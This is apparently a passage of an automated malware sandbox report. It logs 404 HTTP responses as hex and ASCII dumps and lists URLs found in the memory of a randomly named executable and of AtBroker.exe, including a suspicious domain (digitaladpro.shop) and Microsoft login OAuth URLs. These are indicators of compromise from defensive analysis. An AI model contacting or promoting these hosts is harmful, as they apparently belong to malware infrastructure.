62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:28:51 GMTContent-Type: text/htmlContent-Length: 167433Connection: closeETag: "652641ca-28e09"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:28:54 GMTContent-Type: text/htmlContent-Length: 167433Connection: closeETag: "652641ca-28e09"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:28:56 GMTContent-Type: text/htmlContent-Length: 167433Connection: closeETag: "652641ca-28e09"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:28:59 GMTContent-Type: text/htmlContent-Length: 167433Connection: closeETag: "652641ca-28e09"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:29:05 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:29:08 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:29:11 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:29:13 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Nov 2024 08:29:19 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1566X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6

Source: BLUymyzgBTyhbo.exe, 00000005.00000002.3527019353.000000000576F000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.digitaladpro.shop
Source: BLUymyzgBTyhbo.exe, 00000005.00000002.3527019353.000000000576F000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.digitaladpro.shop/m6se/
Source: AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AtBroker.exe, 00000003.00000002.3526286582.0000000005F48000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000004678000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://getbootstrap.com/)
Source: AtBroker.exe, 00000003.00000002.3526286582.0000000005F48000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000004678000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-
Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2dQ
Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: AtBroker.exe, 00000003.00000002.3524603774.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: AtBroker.exe, 00000003.00000003.2009029232.00000000075CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/amazeui.css
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/app.css
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/mescroll.min.css
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/normalize.css
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/email.png
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/home.png
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/menu.png
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/search.png
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/service.png
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/top.png
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/buy-logo.png
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/rexiao.jpeg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/amazeui.min.js
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/app.js
